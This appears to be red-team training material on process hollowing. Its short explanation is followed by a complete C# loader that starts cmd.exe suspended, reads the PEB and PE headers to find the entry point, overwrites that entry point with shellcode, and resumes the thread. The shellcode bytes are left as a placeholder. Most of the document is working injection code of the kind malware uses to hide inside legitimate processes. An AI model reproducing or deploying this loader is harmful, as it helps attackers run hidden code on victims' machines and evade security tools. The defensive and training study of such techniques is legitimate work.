This is a technique where a process is started in a suspended state, the original PE is unmapped from memory, and a new PE mapped in its place. A half-way house to process hollowing is where we simply overwrite the PE's entry point with shellcode, without unmapping anything first. When the process is resumed, the process's primary thread will be pointing at our shellcode instead of the PE's executable code section.
Finding the PE's entry point requires us to read its structure from memory while it's suspended. There's a native API called NtQueryInformationProcess which is able to populate a structure called PROCESS_BASIC_INFORMATION. One of its members is PebBaseAddress which is a pointer to a PEB structure. It's not documented, but one of its members is ImageBaseAddress.
From there, we can read PE's DOS header to get the value for e_lfanew, and then use that to locate the NT header. Drilling down into OptionalHeader->AddressOfEntryPoint gives us the relative virtual address (RVA) of the PE's entry point.
using System.Runtime.InteropServices;
namespace CRTO
{
internal class ProcessHallowing
{
// --- WinAPI / Native P/Invoke definitions ---
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFOW lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll")]
static extern int NtQueryInformationProcess(
IntPtr hProcess,
uint ProcessInformationClass,
ref PROCESS_BASIC_INFORMATION ProcessInformation,
int ProcessInformationLength,
out int ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
out byte[] lpBuffer, // see usage below — we use byte[] overloads
uint nSize,
out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
// --- Constants ---
const uint CREATE_SUSPENDED = 0x4;
const uint ProcessBasicInformation = 0;
// --- Structures (match the native layouts) ---
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFOW
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1; // NtCurrentPeb placeholder
public IntPtr PebBaseAddress; // pointer to the PEB
public IntPtr Reserved2_0;
public IntPtr Reserved2_1;
public IntPtr UniqueProcessId;
public IntPtr Reserved3;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DOS_HEADER
{
public ushort e_magic; // 'MZ'
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] e_res;
public ushort e_oemid;
public ushort e_oeminfo;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] e_res2;
public int e_lfanew; // offset to the NT headers
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_OPTIONAL_HEADER64
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint; // <-- RVA of the entry point
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
// IMAGE_DATA_DIRECTORY x16 — raw bytes suffice for our purposes
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16 * 8)]
public byte[] DataDirectory;
}
// Helper: read an arbitrary struct from the target process
static T ReadStruct<T>(IntPtr hProcess, IntPtr address) where T : struct
{
int size = Marshal.SizeOf(typeof(T));
byte[] buffer = new byte[size];
if (!ReadProcessMemory(hProcess, address, buffer, (uint)size, out _))
throw new Exception($"ReadProcessMemory failed. Error: {Marshal.GetLastWin32Error()}");
GCHandle handle = GCHandle.Alloc(buffer, GCHandleType.Pinned);
try
{
return (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
}
finally
{
handle.Free();
}
}
static void Main()
{
byte[] shellcode = new byte[] { /* your shellcode bytes go here */ };
STARTUPINFOW si = new STARTUPINFOW();
si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFOW));
si.dwFlags = 0x1; // STARTF_USESHOWWINDOW
PROCESS_INFORMATION pi;
// Spawn the process in a suspended state
if (!CreateProcess(
@"C:\Windows\System32\cmd.exe",
null,
IntPtr.Zero,
IntPtr.Zero,
false,
CREATE_SUSPENDED,
IntPtr.Zero,
@"C:\Windows\System32",
ref si,
out pi))
{
Console.WriteLine($"CreateProcess failed. Error: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"Spawned suspended process. PID: {pi.dwProcessId}");
// Query process information to find the address of the PEB
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
if (NtQueryInformationProcess(
pi.hProcess,
ProcessBasicInformation,
ref pbi,
Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)),
out int returnLength) != 0)
{
Console.WriteLine("NtQueryInformationProcess failed.");
return;
}
// The image base address is always at PEB + 0x10 for x64
IntPtr lpBaseAddress = (IntPtr)((ulong)pbi.PebBaseAddress + 0x10);
// Read the base address (8 bytes on x64)
byte[] baseBuf = new byte[8];
if (!ReadProcessMemory(pi.hProcess, lpBaseAddress, baseBuf, 8, out _))
{
Console.WriteLine("Failed to read image base address.");
return;
}
IntPtr baseAddress = (IntPtr)BitConverter.ToUInt64(baseBuf, 0);
// Now we can read the DOS header
IMAGE_DOS_HEADER dHeader = ReadStruct<IMAGE_DOS_HEADER>(pi.hProcess, baseAddress);
// Use e_lfanew to calculate the pointer to the NT headers
IntPtr lpNtHeader = (IntPtr)((ulong)baseAddress + (uint)dHeader.e_lfanew);
// Read the NT headers (file header + optional header 64)
// We read them as one raw blob and marshal the optional header
byte[] ntBuf = new byte[Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + Marshal.SizeOf(typeof(IMAGE_OPTIONAL_HEADER64))];
if (!ReadProcessMemory(pi.hProcess, (IntPtr)((ulong)lpNtHeader + 4 /* skip 'PE\0\0' signature */), ntBuf, (uint)ntBuf.Length, out _))
{
Console.WriteLine("Failed to read NT headers.");
return;
}
GCHandle ntHandle = GCHandle.Alloc(ntBuf, GCHandleType.Pinned);
uint addressOfEntryPoint;
try
{
// Skip the 20-byte file header; the optional header follows
IntPtr optPtr = (IntPtr)((ulong)ntHandle.AddrOfPinnedObject() + (uint)Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)));
IMAGE_OPTIONAL_HEADER64 opt = (IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(optPtr, typeof(IMAGE_OPTIONAL_HEADER64));
addressOfEntryPoint = opt.AddressOfEntryPoint;
}
finally
{
ntHandle.Free();
}
// Calculate the entry point address (base + RVA)
IntPtr entryPoint = (IntPtr)((ulong)baseAddress + addressOfEntryPoint);
Console.WriteLine($"Entry point at: 0x{entryPoint.ToInt64():X}");
// Write the shellcode to this location, overwriting the PE code
if (!WriteProcessMemory(
pi.hProcess,
entryPoint,
shellcode,
(uint)shellcode.Length,
out _))
{
Console.WriteLine($"WriteProcessMemory failed. Error: {Marshal.GetLastWin32Error()}");
return;
}
// Resume the process — the loader jumps to the (now overwritten) entry point
ResumeThread(pi.hThread);
// Tidy up our handles
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}
}